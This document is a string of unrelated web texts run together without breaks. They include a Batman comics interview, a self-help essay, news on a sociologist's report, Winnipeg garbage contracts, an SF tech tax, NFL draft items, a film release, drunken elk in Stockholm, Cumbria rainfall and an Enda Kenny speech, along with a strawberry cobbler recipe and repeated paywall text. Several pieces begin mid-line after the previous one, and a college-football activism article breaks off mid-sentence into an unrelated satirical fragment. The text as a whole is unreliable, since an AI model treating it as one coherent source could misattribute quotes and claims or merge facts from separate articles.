Snyder: Actually, nobody has really said this yet, so it's a spoiler… but there's actually a piece that says "Bluebird" and one that says "Lark" in the Detective [Comics] #27 short that I did with Sean Murphy.
And one of the hopes, eventually, is… for me, I think Batman should always have a Robin, eventually. Robin is such an iconic figure that you know he will.
But one of the things I love, reading Pete Tomasi and Pat Gleason's book, and other books, is seeing him team up with other… birds, basically. [Laughs.]
You know, seeing him team up with Red Robin or with Nightwing. There are different colors as well. I wanted to think about, with some of the stuff that's going to happen, trying to create figures that would be fun to see Batman next to, that didn't necessarily have the baggage of a Robin, and didn't have the weight of that mantle on them at the same time.
So for me, creating a character like Bluebird, and the implications there — it has a lot to do with the mystery of who her mother is, and all of this stuff that we've been playing with — was to try to give Batman a sidekick that was very different from anything you've seen before.
One of the reasons I think she's so different is that she doesn't want to know who he is under the mask, ever. She shows up when she knows he needs her, because of the police scanner. She teams up with him. And whenever he tries to let her in at all — to a cave, to anywhere that's close to him, she doesn't want any part of it, because she thinks that people really let each other down.
So ultimately, she's a really interesting character to write by his side, because she's just an ally in costume.
Interior spoiler-filled art from Batman #28 Credit: DC Comics
Nrama: It was interesting to see Catwoman as a Kingpin of crime, but it's also notable to see the anger she has toward Batman. Where should we look to find the incident between Catwoman and Batman, where he leaves her? Is this a Forever Evil thing, or a Bat-books thing?
Snyder: Yeah, it's going to be part of Batman: Eternal and it's going to be part of Batman, and it's also going to be part of Catwoman, honestly.
Her status is really — we're going to try to reconfigure her status in a way that I think people, hopefully, will really like. It's something that I think will give that character a new energy and a new sense of importance to Gotham.
I really like what Ann [Nocenti, Catwoman writer,] has been doing with the book. And this isn't, in any way, to cast aspersions at what the book has been, because I think it's been tremendous fun.
But I also think that this kind of a change to the character will really make her a powerful, powerful figure.
And Gotham really hasn't had a Kingpin before, you know? Certain figures have kind of stepped up, like Two-Face, or Black Mask, at different times. But ultimately but the idea of an actual, kind of Wilson Fisk figure, I think, is something pretty new.
And then having that be Selina brings all kinds of interesting layers to it.
Interior spoiler-filled art from Batman #28 Credit: DC Comics
Nrama: It was surprising to see Spoiler revealed when her "introduction" is coming in Batman: Eternal. Are you going to have to repeat this scene in Batman Eternal, or the things we saw in this issue? How is that going to work?
Snyder: No, we won't repeat the scene, per se. If we touch on it, it will be from her point of view, so you'll see what went on leading up to that point. You'll see her in the dark, and then you'll ultimately see the door open and it's Batman. You know what I mean? So we won't repeat it so that you feel like you're getting ripped off, or anything like that.
But with Stephanie, we wanted to emphasize that she's not only back in Gotham, but she plays a really, really important role.
The idea of Spoiler, and why she's called Spoiler and all those things, are re-imagined a bit, while still hopefully keeping very true to what the core of the character is.
Nrama: Since this is a short interview and we're running short on time, let's do a little word association. Ready?
Snyder: OK.
Nrama: Harper Row's costume (and hair).
Snyder: Her costume and hair? I would say, "punk."
Nrama: Alfred and Jim Gordon next year.
Snyder: Oooohh… "jeopardy."
Nrama: The Batman Eternal writing team.
Snyder: Rock solid.
Nrama: Nightwing's future.
Snyder: Mystery.
Nrama: Gotham City 2015.
Snyder: Oh, I would say… let me think. Don't move there. That's would I would say.
Nrama: It does look pretty bad, with this infection, and curfew. I don't suppose you can give us any hints about that?
Snyder: It's coming! You'll see! I don't want to give it away. Yeah, it's a big part of the story in Eternal. That's going to be in Eternal.
There are a lot of things having to do with that that will be played out in that book. I mean, it's a year-long, weekly book. If you think about it, there are almost issues in that than, like, double what I've written in Batman already. So there's just so much space and room.
We thought it would be fair to spoil some things [in Batman #28], because there's just so much material in it. But at the same time, I want you to go see it, and read it, and see how all this stuff comes about.Making a significant change in our lifestyle is something many of us are after. We try to improve many aspects of our lives, and going down that road we find that the fastest way that can take us there is the progress done on daily basis. And this in a way implies making changes in our lives, our lifestyle, and our routine.
As creatures of comfort it is always hard to abandon the familiar and undertake some new methods, pave new roads. These changes can range from just tiny adjustments, to serious shifts in the way we perceive and do things, so it’s quite understandable that we feel a slight doze of resentment even towards the very idea of a change.
Every change requires level of discomfort whether it is on physical or psychological aspect.
Another thing that is likely to set our undergoing effort on zero is of course the fear of failing, and approaching changes in our lives without any strategy is exactly what we are about to do- fail. However, if we are to decide that change is what we want or need in our lives, and realize that it’s not that hard to achieve it, then it can be done quite easily.
But why I say that a healthy lifestyle change is so hard? Well, understanding and observing human behavior, we will come to realize that we rarely even make little adjustments to our lives.
We get up in the mornings, go to work, or start working on some projects, we consume our meals the way we do, eating the diet we are used to, interact with people in the same fashion more or less, enjoying the free time as we are always used to, do the same routine before we go to bed, and all of this with some slight variation that more often than not is unnoticeable.
Those are mostly routines that we formed in our childhood and some picked up along the way. Once a routine is formed, it’s hard escaping from it and forming a new one to replace the old – even harder.
It is clear of course that many of us want almost the same things from life. The picture of success, fulfilled life, healthy and fit body, relationships that give meaning and lifestyle that embodies all of that is probably more or less on the wish list of all of us.
It is easy to envision the success. But actually getting there is a whole different story. A path of lesser resistance is what the most likely explanation is, I guess. We practice holding up to that never changing wheel, our daily routine that is.
So how to actually slip some new habits in our lives, and make them stay for good? How to make ourselves not to dread that first step towards unfamiliar any more, and how to gather the courage we need in order to leave the comfort zone of the repetitive and familiar once and for all?
First of all we must realize that doing that is not so hard. Second we must realize that it cannot be done overnight, but rather one baby step at a time. And last we must not fail to realize that persistency is the thing we are about to need the most.
7 insightful ways to approach the change:
Make the plan and the strategy first. Know exactly where you are headed, and what the journey is most likely to look like. Try and imagine the final results, try and imagine the difficulties that may occur, imagine the outcome way ahead. Embrace the idea of a healthy lifestyle change fully, and without question. Try and motivate yourself to do so.
Start small, and expand the time and the interval of your routine. Here is the start. Your mind already starts to react as expected. It finds the new routine, the change in the system, like something hostile, foreign. So in the start just go small, and don’t allow the mind to recognize the huge difference right away.This means just putting on the running shoes and doing a stretch instead of going for a run for example. It means changing your diet one ingredient at a time. Once you do that try and make it a consistent habit. The second that is done, go and expand the whole thing in the direction you planned. This way the resistance is minimal, and the mind almost fully accepts the change, and even supports you in fully developing it. Even if the move seems trivial at first, it is still a step into the right direction. I’ve coached a lot of people before, and when we were trying to incorporate healthy changes I always urged them to start with baby steps. As long as you stay motivated and dedicated, the compound effect will bring surprising results down the road. I had my clients read inspiring workout quotes before doing a single push up. And even though they weren’t necessarily working on their muscles, they were working on their mindset. Which is far more important at this stage. Stick to the schedule. This means not allowing yourself to be swooped by enthusiasm that comes from the initial results and forgetting about going small. Keep the baby steps on at a time until you are sure you got that right. Give it a week for example. Choose something to represent a trigger, that will instantly prepare your mind that your habit (new routine) is about to take place. Drink a glass of juice before starting to work, or light a scent candle before preparing to meditate. That way you are always preparing the mind what you are about to do next and it feel like second nature, the new routine that is. Do one change at a time. This is important. As appealing as improving every area of your life at once seems to be, in practice it results with slight disappointment. Changing all we are used to, even with the greatest of motivation and knowledge is just too much for ourselves. So do one change at a time, and once you form the habit of getting there, and feel the success instead of failing, it will be more easy to push more things at once. Surround yourself with people that are likely to support the healthy change you are about to make in your lifestyle. For example avoid people that are more lazy if you want to go for running every day. Avoid people that are more nervous if your goal is to be more calm and relaxed… You get the picture. Also it’s quite helpful to announce that you are about to make some change to people that support you. That way you will feel a certain obligation not to fail them as well as yourself.
Reward yourself. And here only you define the extent of what reward means. Treat yourself with a nice book, movie, a nap, go to a massage… Whatever you find suiting really. That way you are acknowledging that the new habit is now something that is a part of your life, not something that you dreaded up till now.
How do you approach change? What is your experience with changing some aspect of your life? If there is something you want to share please do. Also keep in mind these steps and principles if you want to make a sustainable change in some aspect of your life.
Image: FreeDigitalPhotos.netCatherine Hakim, a sociologist at the London School of Economics, said women have the freedom to make lifestyle choices about their work and private lives, and that tougher equality laws will not open any more doors for female workers.
She also warned that women who combine top executive roles with a family rarely have more than one child - and struggle to spend much time with them.
In a 12,000-word report to be published next month, Dr Hakim described new government policies to promote equality as “pointless” and based on “feminist myths”.
She said the pay gap has fallen to just 10 per cent on the Government’s preferred measure and that it is a “waste of time” fretting about such a small difference.
Dr Hakim claimed in a study called Erotic Capital earlier this year that the most successful people in modern society are those who are the most attractive in appearance and manner.
She believes women are now able to make an active choice about whether to have a family or enter a senior position at work.
She said: “In Britain half of all women in senior positions are child free and a lot more of them have nominal families with a single child and they subcontract out the work of caring for them to other women.”
In the report – called Feminist Myths and Magic Medicine - she said: “Equal opportunities policies have succeeded in giving equal access for women to the labour market.
“People are confusing equal opportunities with equal outcomes, and there is little popular support for the kind of social engineering being demanded by feminists and legislators.”
A government review by the Labour peer Lord Davies is considering whether to recommend that company boards should have to comprise at least 40 per cent woman.
Dr Hakim argued in her report that there has been a “stalled revolution” because women have settled into jobs they actually want.
She also attacked the idea that men and women have the same career ambitions and values and that women prefer to be financially independent. And she disagreed with the notion that women have a different, more co-operative style of management than men.
She goes on to argue that there are no short cuts to success at the top, which requires long hours and almost total commitment to a career, regardless of your sex.
She told The Daily Telegraph: “The long term trend is for more career-centered women who make it to board level. Levels are low at the moment because it is only in the last two or three decades that women have had proper equal opportunities. The next big issue for the work place is racism.”Thank you for supporting the journalism that our community needs!
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*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
Thank you for supporting the journalism that our community needs!
For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription:
We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. Simply add a form of payment and pay only 27¢ per article.
Thank you for supporting the journalism that our community needs!
For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription:
We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. Simply add a form of payment and pay only 27¢ per article.
The contract with the city’s current garbage and recyclables contractors, Emterra Environmental and Progressive Waste Solutions, expires Sept. 30.
The spokeswoman said details on the changes to the five-day pickup schedule will be provided in an announcement Friday.
A civic spokeswoman confirmed a new pickup schedule for all homeowners will go into effect Oct. 2 — the day after two new firms take over the city-wide home garbage and recycling contracts.
Changes are coming to the weekly garbage and recycling pickup schedule, as could a higher annual fee for homeowners.
Hey there, time traveller! This article was published 7/9/2017 (537 days ago), so information in it may no longer be current.
Hey there, time traveller!
This article was published 7/9/2017 (537 days ago), so information in it may no longer be current.
Changes are coming to the weekly garbage and recycling pickup schedule, as could a higher annual fee for homeowners.
A civic spokeswoman confirmed a new pickup schedule for all homeowners will go into effect Oct. 2 — the day after two new firms take over the city-wide home garbage and recycling contracts.
The spokeswoman said details on the changes to the five-day pickup schedule will be provided in an announcement Friday.
The contract with the city’s current garbage and recyclables contractors, Emterra Environmental and Progressive Waste Solutions, expires Sept. 30.
The work was put up for tender last year and awarded to two new firms on a seven-year, three-month contract: GFL Environmental Inc. and Miller Waste Systems Inc. Contracts run from Oct. 1, 2017, to Jan. 31, 2025.
St. Vital Coun. Brian Mayes, chairman of the environment committee, declined to comment until Friday’s announcement.
There could be more changes than just pickup days. The new contracts have a combined annual cost of $24.7 million, substantially more than the $18 million waste pickup had been costing city hall per year.
That increase in pickup cost could also mean an increase in the annual $56 waste diversion fee charged to homeowners.
Mayes has said how much more homeowners will have to pay will be resolved in planning for the 2018 budget. Mayes had previously speculated the annual fee to homeowners could rise to $76 from $56, but explained other factors will affect the final rate — and it could even go higher.
Garbage collection is paid for through property taxes, while the cost of the recyclables and yard waste pickup is covered through the $56 annual waste diversion fee charged to all homeowners.
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The city could justify an increase in property taxes in 2018 in order to offset the increased contract cost, or assign part of the increase to a higher amount charged to the annual waste diversion fee.
Winnipeg is currently divided into four zones for collection of waste, recyclables and yard waste; Emterra does the bulk of it with a contract for three zones. Progressive Waste Solutions has the contract for the northwest quadrant.
Under the new contracts, the city will be divided into two areas, creating a more even split between GFL and Miller.
While Emterra submitted a bid on the new contracts, it was not successful.
GFL was the lowest bidder out of four bids submitted for both zones. However, the administration was directed to not give the two contracts to the same company.
aldo.santin@freepress.mb.caA Deep-Rooted History Of Activism Stirs In College Football
Enlarge this image toggle caption L.G. Patterson/AP L.G. Patterson/AP
In football, a sport that demands military-style discipline and singular focus, there's ample precedent for speaking out against the status quo.
What happened at the University of Missouri in recent days, with African-American football players calling for a boycott with the support of coaches, is dramatic, but it's the kind of action that was quite common around 50 years ago, according to historian Lane Demas, a professor at Central Michigan University.
"There's a three-year period of roughly 1967 to 1970 when there really was a wave of black football protest that coincided with kind of the |
phrase, "It will only get worse before it gets better," be permanently replaced with, "Things are going great. Enjoy yourselves."
...
"From now on, just tell me the bullshit I want to hear," Pletcher added. "Tell me my savings are okay, everybody has a job, and we're No. 1 again. Please, just lie to my face."
So you see, when people tell you that the bad times are over and everything will be golden from here on, just remember that the American public demanded it.Thank God for Fridays….
Watch the How To Video Here:
Skillet Strawberry Cobbler with Cream Cheese Swirled Biscuits from Half Baked Harvest on Vimeo.
And more specifically, Fridays that include a warm skillet cobbler with spring strawberries and most definitely biscuits swirled with cream cheese. Just oh my gosh.
Now really. This is the best cobbler I have ever made. Granted it’s also probably the only (fruit) cobbler I’ve made (I made a broccoli cobbler when I first started the blog), but STILL, I promise it is so good.
And if you are wondering, the only reason this is my first cobbler is because of the whole chocolate always winning out over fruit thing that happens at our house. But my mom LOVED this cobbler, I will not lie though, she and I ate this for lunch…not dessert.
Also, I feel like this is 100% acceptable for breakfast as well. Swap some whole wheat flour for white flour and you may be even be able to go as far as saying healthy…
Ok, that may be a bit of a stretch, but you know I gotta try.
In complete honesty, as far as fruity desserts go, this has got to be my favorite. I am in love with this cobbler, everything from the biscuits down to the strawberries. The strawberries are probably my favorite part, because that’s just me and I am a fruit freak, but the biscuits are down right amazing as well.
It’s all about the cream cheese in these biscuits.
And on a completely different, completely random, note I have decide to get into the whole snapchat thing. While I was with my brother in Cali this week he taught me how to use it, and while I am still learning, I think it could be semi-fun. Plus, I am now spending all my procrastination time creeping around on snapchat. Like whoa, all of a sudden I realized that ten minutes had passed while I was cruising through people’s stories.
That’s when I freaked and decided that I should probably put the phone down and get back to work.
But anyway, if anyone is interested, I am now on snapchat, just search hbharvest (had to shorten the name… sorry if that’s confusing). I see using snapchat for sharing cooking “moments” and behind the scenes photography.
And maybe a snap or two of the goats. Oh the goats.
Actually, speaking of the goats, the family never ended up getting them last weekend, so now it’s looking like Saturday will be the day. I guess the weather was really snowy last weekend, and the roads were bad. No one felt like fighting the weather just to bring baby goats home to a new environment and the freezing snow.
And yeah, the snow, I can’t even talk about that.
Majorly depressed about the snow….
Anyway, the snapchat thing, I would definitely expect some goat footage, and possibly (hopefully) some horse snaps later in the summer!
Yeah!
So on to this skillet strawberry cobbler.
It is one of those recipes that I feel like everyone should have in their back pocket. It’s just so quick, easy and painless. Not to mention delicious and kind of a show stopper when placed on the table.
You really only dirty two dishes, which in my book is a huge selling point. The filling (the strawberry mixture) gets all mixed up in the skillet. No extra bowl needed. You don’t have to use a skillet either, a Pyrex pan will work as well, but I personally love the rusticness you achieve with a skillet. Maybe that’s weird, I don’t know, that’s just me.
The biscuits however, do require another bowl, but then that’s it. They literally are so easy to make and like I said before, those cream cheese swirls throughout the biscuits are maybe the best thing ever.
Like so flippin good.
Once you’ve got the biscuits made, just add them to the strawberries and bake away. Then the smells will pretty much torture you for the next 45 minutes or so. Once they have slightly cooled, you will want to immediately dig in. Like I’m talking fork in one hand, maybe even a spoonful of ice cream in the other.
Oh, and some cold milk somewhere in there too.
Print Pin 4.2 from 10 votes The Recipe Skillet Strawberry Cobbler with Cream Cheese Swirled Biscuits. By halfbakedharvest Course: Dessert Cuisine: American Keyword: cobbler, cream cheese, strawberry A warm skillet cobbler with spring strawberries and most definitely biscuits swirled with cream cheese. Just oh my gosh.
Prep Time 15 minutes Cook Time 45 minutes Total Time 1 hour Servings 6 Servings Calories 493 kcal Ingredients 5 cups fresh or frozen strawberries hulled + halved if large, about 3 pounds
1/3 cup coconut sugar * may sub brown sugar or granulated sugar
2 tablespoons fresh lemon juice
2 teaspoons vanilla + one vanilla bean seeds removed, optional
teaspoon pinch of sea salt about 1/4 Cream Cheese Biscuits 3 cups all-purpose flour
2 teaspoons baking powder
1 1/2 sticks (12 tablespoons) cold salted butted, shredded or cubed
3/4 cup buttermilk
1/4 cup honey
8 ounces cream cheese cubed Instructions Preheat the oven to 375 degrees F. Lightly rub an 11-12 inch cast iron skillet (or large pie plate) with a little softened butter or cooking spray. In the skillet, combine the strawberries, coconut sugar (use 1/2 cup if you prefer things a bit sweeter), lemon juice, vanilla, vanilla bean (if using) and a pinch of sea salt. Toss well to combine. In a large bowl, combine flour and baking powder. Whisk until combined. Using a fork, pastry blender or your hands, add butter pieces to the flour and mix until coarse little crumbles remain. Whisk together the buttermilk and honey and pour into the flour. Stir with a spoon until just combined, trying not to overmix. Use your hands if needed to bring the dough together. Fold in the cream cheese. Use a 1/4 cup measure to drop batter onto the strawberries or press dough on a sheet of parchment paper or cutting board, then use a biscuit cutter to shape the dough into rounds. Place the rounds on top of the cobbler. You will have leftover biscuit dough...bake this and eat with butter. SO GOOD. Bake the cobbler for 40-45 minutes or until the strawberries are bubbling and the biscuits lightly golden. Serve warm. Dust with powdered sugar and scoop of ice cream if desired.
No plates. No shame.3 SF supervisors move to put tech tax on November ballot
Supervisor Eric Mar (center) speaks to a crowd of students and educators during a protest opposing CCSF's new budget cuts at UN Plaza in San Francisco, California on Thursday, November 12, 2015. He is now proposing a new tax on technology companies in San Francisco. less Supervisor Eric Mar (center) speaks to a crowd of students and educators during a protest opposing CCSF's new budget cuts at UN Plaza in San Francisco, California on Thursday, November 12, 2015. He is now... more Photo: Gabrielle Lurie, Special To The Chronicle Photo: Gabrielle Lurie, Special To The Chronicle Image 1 of / 1 Caption Close 3 SF supervisors move to put tech tax on November ballot 1 / 1 Back to Gallery
Highly paid tech workers are often blamed for the city’s housing crisis. Now, three supervisors want to levy a tax on technology companies in an effort to make them pay for the city’s two biggest woes: the high cost of housing and homelessness.
Dubbed the tech tax, the proposed November ballot measure would impose a 1.5 percent payroll tax on technology companies. That would be a big shift. In 2012, 71 percent of San Francisco voters supported a measure to eliminate the city’s payroll tax and replace it with a gross receipts tax.
The proposed measure has a lot of ifs, including whether it will even make the ballot. It has three co-sponsors — Supervisors Eric Mar, Aaron Peskin and David Campos — but needs the support of at least six to qualify.
That will be an uphill battle. None of the five moderate supervisors is likely to support it, and one of the six progressives, Jane Kim, may be unwilling to take on tech companies while she is running for state Senate.
Should the measure make it to the ballot and pass, the city controller’s office estimates it would generate about $115 million annually. The measure doesn’t specify how the revenue would be divided between homeless services and affordable housing. That will be worked out during the committee process. As currently drafted, the measure excludes businesses that have gross receipts of less than $1 million.
Another unknown is what companies are deemed “tech.” Companies such as Facebook, Google and Twitter would ostensibly qualify, but dozens more potentially straddle the line, like Amazon.
The measure identifies tech companies by the type of tax code they use under the Internal Revenue Service’s North American Industry Classification System. Companies classify themselves. They may face penalties if a government audit finds they are misidentifying themselves.
Where do you draw the line?
Tax expert Leo Martinez, a professor at UC Hastings College of the Law, said identifying tech companies would raise numerous challenges.
“Clearly, that is going to be an area that is fraught. Whatever reference they use, there are always these line-drawing problems. I imagine the question of what is and what isn’t a tech company is going to be a hugely knotty problem to try and deal with,” Martinez said.
But just on principle, the proposal has already generated strong reactions.
“As a representative of an industry that has played a meaningful role in ensuring San Francisco has the lowest unemployment rate of any city in the country, I am appalled at the political vindictiveness of this proposed measure,” said Alex Tourk, a spokesman for San Francisco Citizens Initiative for Technology and Innovation, a coalition of tech companies.
Supervisor Mark Farrell called it “the worst idea I’ve heard in months.”
Deirdre Hussey, spokeswoman for Mayor Ed Lee, called it a “job-killing measure.”
She added that the measure “upends the grand bargain” made between business and labor that ultimately led voters to eliminate the payroll tax in 2012.
Changing circumstances
Mar, who conceived of the tax, said Tuesday that circumstances had changed so drastically since 2012 that it merited revisiting the issue.
“Its worked out great for the tech companies, and it hasn’t worked great for other San Franciscans,” he said. “It’s five years after this rapid tech boom with tens of thousands of new employees that make basically double the salary of the average San Franciscan employee. The measure is addressing this issue by requiring these big tech companies to pay their fair share.”
Perhaps the biggest surprise Tuesday was that Peskin is one of the measure’s sponsors. Just last week, he indicated he didn’t want to put it on the ballot. But on Tuesday he called it “good public policy.”
“The impacts that are caused by various activities in our society should be borne by the impactors,” he said. “This is the beginning of the public conversation that may or may not go forward in November but I think should be part of the public discourse.”
As for what changed between last week and this week, Peskin had one answer: “Good polling data.”
Emily Green is a San Francisco Chronicle staff writer. Email: egreen@sfchronicle.com
Twitter: @emilytgreenJameis Winston's lofty draft status won't be the only similarity he'll share with future NFL Hall of Famer Peyton Manning. His Wonderlic test score rivals Manning's, too.
Multiple league sources told Yahoo Sports that Winston scored a 27 out of 50 on the league's general aptitude test that is administered at the annual NFL scouting combine prior to the draft. That's a respectable score for quarterbacks, and just one point shy of the 28 Manning scored prior to the 1998 draft. It also stacks up favorably with several recent Super Bowl winners, including the New Orleans Saints' Drew Brees (28), the Seattle Seahawks' Russell Wilson (28), the Baltimore Ravens' Joe Flacco (27) and the Pittsburgh Steelers' Ben Roethlisberger (25).
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While Wonderlic scores are becoming less relevant in draft equations, they still carry weight at some decision-making positions such as quarterback, an AFC personnel source told Yahoo Sports.
But it certainly doesn't guarantee NFL success. For example, former first-round pick Blaine Gabbert scored a very impressive 42 on the test and has struggled mightily in the NFL.
"[The Wonderlic] is a smaller piece now than it used to be, but it's generally helpful when it comes to some positions," the source said. "It's kind of a guardrail – a score doesn't tell you the whole story about a player, but at times it can tell you if there's something you might need to look at more closely. … For me, it becomes important if it's wild, like, way off what I'm expecting.
"If it's 15 points lower than the norm, then that requires some research."
Story continues
Winston's score falling into line with other accomplished NFL starters shouldn't be a surprise. He received academic All-ACC honors in 2013 and 2014 at Florida State and was also accepted into Stanford during his recruiting process. Winston ultimately chose Florida State over the Cardinal.
Some of the highest scores from other prominent and successful NFL starting QBs include the Indianapolis Colts' Andrew Luck (37), the Green Bay Packers' Aaron Rodgers (35), the New England Patriots' Tom Brady (33) and the San Diego Chargers' Philip Rivers (30).Getty Images
Draft season is never low on reports of teams considering all kinds of moves, but a recent report about the Seahawks is a head scratcher.
Tony Pauline of SI.com and DraftInsider.net reports that the team would really like to trade down out of the 12th spot in the draft. If they are able to trade down, the object of their affection is Alabama linebacker Donta Hightower. That makes sense as Hightower would help fill the void left by David Hawthorne’s departure as a free agent.
The head scratching part comes when Pauline discusses what the Seahawks might do if they aren’t able to trade down. They wouldn’t just take Hightower (or Boston College’s Luke Kuechly, if he’s available) with the 12th pick. Per Pauline, they would take Alabama safety Mark Barron and then move Kam Chancellor to outside linebacker to create space for Barron.
Such a move might work out. Chancellor played some linebacker in college and he’s got enough size to make it seem like a possibility, but it’s not like things aren’t working for him at safety. Chancellor wound up in the Pro Bowl last season, his second in the NFL, and his pairing with Earl Thomas would seem to give the Seahawks no reason to fix what isn’t even close to broken.
Lots of stuff gets thrown around in the month before the draft, but this seems like something best left on the drawing room floor.0
We knew that Guillermo del Toro’s new film, The Shape of Water, was set to arrive sometime this year, but we weren’t sure when. We also knew, from the first official synopsis, that the film “is an other-worldly story, set against the backdrop of Cold War era America circa 1963.”
Today, we have a few more details about when we’ll see the film and what it’s about. Fox Searchlight has announced that the film will arrive in North American theaters on December 8, 2017. While we don’t know if it will be going wide on this date, since Fox Searchlight is the distributor, I would bet more on a platform release since that’s typically how they release their films. However, if it does go wide on that date, it currently has zero competition. That’s probably because the following weekend sees the release of Star Wars: The Last Jedi.
Fox Searchlight also sent out a slightly more details synopsis, although it still raises plenty of questions:
From master story teller Guillermo del Toro, comes THE SHAPE OF WATER – an other-worldly fairy tale, set against the backdrop of Cold War era America circa 1963. In the hidden high-security government laboratory where she works, lonely Elisa (Sally Hawkins) is trapped in a life of silence and isolation. Elisa’s life is changed forver when she and co-worker Zelda (Octavia Spencer) discover a secret classified experiment. Rounding out the cast are Michael Shannon, Richard Jenkins, Michael Stuhlbarg and Doug Jones.
I’m automatically on board for whatever del Toro is planning, and I’ll be curious to see if Fox Searchlight does a direct release in December or if they let the film loose on the fall festival circuit. I certainly wouldn’t mind seeing the movie pop up at Toronto.
In case you haven’t seen it, here’s The Shape of Water star Doug Jones talking about the film on Collider Nightmares:"Five drunken elk were threatening a resident who was barred from entering his own home," read an incident report on the website of the Stockholm police department.
The author of the report confirmed that the homeowner, who lives on the island of Ingarö in Stockholm's eastern suburbs, was justified in calling the police for help.
"I'm not surprised that he called the police when he was faced with a gang of five drunken elk," police spokesman Albin Näverberg told The Local.
"They can be really dangerous. They become fearless. Instead of backing away when a person approaches, they move toward you. They may even take a run at you."
IN PICTURES: See Leffe the Moose Man who offers "elk intimacy"
The incident involved four adult elk and one calf, Näverberg explained, all of whom were intoxicated after having eaten fermented apples that had fallen from the homeowner's apple tree.
"Police who arrived on the scene reported that the animals had been warned that the police were on their way and wisely decided to leave the address," the report read.
"The elk will have to find somewhere else to get intoxicated."
IN PICTURES: See an elk threesome after a fermented apple binge
The homeowner was instructed by officers to clear his yard of fermented apples in order to avoid any future incidents with drunken elk gangs.
According to Näverberg, Tuesday's run-in wasn't the first time drunken and aggressive elk had caused trouble for the homeowner.
"A couple of years ago a single drunken elk chased his wife from the yard into the house. She had to bolt the door," he said.
Drunken elk are a recurring nuisance for homeowners near Stockholm, explained Näverberg, who estimating that police can receive "dozens" of reports in the autumn when apples and fruit from other trees begins to fall.
SEE ALSO: See the drunken Swedish elk that got stuck in a tree
"If there is a lot of fermenting fruit, then we get a lot of calls about drunken elk. But most often they're gone before officers arrive," he said.
Näverberg admits that he took some artistic licence in writing up the incident report published on the police website in order to add a little fun to an otherwise slow night.
"Things were quiet and when this report came in, I said, 'I have to write this up'," he said.
"It's like they say in the UK, I always try to look on the bright side of life."
RELATED STORY: Is it an elk or a moose? The mystery explained.
David Landes
Follow David Landes on TwitterDownpour in November last year saw 316.4mm of rain fall – a once in 1,800 years event, scientists have said
The 316.4mm (12.45in) of rain that fell at Seathwaite Farm in Borrowdale, Cumbria, on 19 November last year was by some way Britain's heaviest recorded rainfall over 24 hours and statistically a once in 1,800 years downpour, government scientists said today.
"It was very rare indeed – an extreme event of international significance," said Jamie Hannaford, a scientist at the Centre for Ecology and Hydrology.
"What fell in 24 hours in the Lake District then was about half what you get in a whole year at somewhere like Gatwick, near London".
New research into the frequency of such storms shows that the prolonged rain over north-west England and southern Scotland that week led to many rivers doubling their previous highest-ever peak flows. Records were set at 17 river monitoring stations.
The rain in Cumbria also proved too much for the lakes to cope with. Normally, Hannaford said, they act as storage tanks, filling up when it rains and then releasing water gradually downstream.
But in this case they filled to capacity and then added to the problem by releasing vast amounts of water downstream. Ullswater was one metre higher than its previous highest recorded level.
"At such high levels, the lakes were less able to store the vast volume of incoming runoff, and instead water was rapidly transmitted into the rivers downstream, causing a much more rapid flood response", Hannaford said.
The previous heaviest rainfall in Britain was at Martinstown, in Dorset, when 279.4mm fell in 24 hours in 1955.
But this was nothing to the 1,825mm of rain that tropical cyclone Denise dropped on Reunion Island in the Indian ocean in 24 hours in 1966.Enda Kenny has told supporters that he is confident he will lead the next Government to finish the job he has started.
Enda Kenny has told supporters that he is confident he will lead the next Government to finish the job he has started.
Speaking at an event in Mayo to mark his 40 years in the Dáil, Mr Kenny expressed his gratitude and thanks to all those who had supported him and the party throughout the decades.
He said the next period was "one of great challenge for Ireland".
"There can only be one result of the next election, only one result that I want to see and that is that Fine Gael is returned to Government to finish the job that we started," he said.
"You're going to be called on in the spring and your choice is going to be very important. We want you to win this, I want you to win it, I want to win it.
"I want to lead the next Government and finish the job that we started. I believe we can and will do that. And I see people all over the country can see the beginnings of a strong recovery in our economy. Our challenge is to convince them that we can build on that in the time ahead."
On steering the country out of the recession, Mr Kenny said it had been "a privilege and a great honour to navigate a ship of State out of desperately dangerous waters".
He spoke of the sacrifices made by the people, saying: "It is to them and them alone that the credit goes.
"It is the fallacy of fools for those in politics to look for credit, to think that they should be deserving of the people's gratitude. Because the people give us the trust and the responsibility of getting on with the job and as those in Government know, the mandate given to us was to fix our public finances and put our country back to work.
"The longer you are in this business, the more you understand about human nature and what it is you are given by the people in terms of responsibility."
Mr Kenny recalled his first foray into politics, canvassing in the 1975 by-election caused by the death of his father, Henry.
"I was jammed between Cosgrave on the one hand, who was Taoiseach, and Corish on the other, who was Tánaiste. Little did I realise I would face the same challenge myself many years later.
"And before I said my few immortalised words that were going to change the nation, Cosgrave leaned over to me and Liam said, 'Don't tell them too much, they know enough already.'"
Mr Kenny also referred to the election of 1977, where Fianna Fáil clinched victory after offering the public a string of financial and economic sweeteners to "buy the election".
He warned: "It's still a dangerous concept in 2015 and beyond."
He also spoke about Fine Gael failing to capitalise on its own successes.
Of the Bruton Government of 1994-1997, Mr Kenny said: "We were lean, competitive, export-orientated and powering ahead and that all went... for various political reasons."
Mr Kenny said that while he acknowledged his responsibilities to his Mayo home, he intended to see that the benefits of political decisions were spread throughout the country, giving people all over Ireland the opportunity to benefit and allowing the thousands who have emigrated the opportunity to come home.
The Taoiseach and his wife Fionnuala were joined by 400 guests at the Breaffy House hotel in Castlebar to mark the occasion. Among them were ministers Richard Bruton and Michael Ring, along with TDs John O'Mahony, Michelle Mulherin, Damien English, Frank Feighan and Joe O'Reilly.
A message from former Taoiseach Liam Cosgrave offered "grateful thanks" for Mr Kenny's "calm leadership".
His brother, Henry Kenny, recalled how, after their father's death, both he and his brother, then just 25 years old, were brought to Dublin to meet Cosgrave.
"(Enda) was the youngest and I suppose I basically got the rugby ball and passed it. It was suggested that I go because I had the same name.
"I don't think I'd have been as successful and I don't think it was for me. People would say to me yet, 'why didn't you go?' I hadn't an interest really. I've never had a regret."
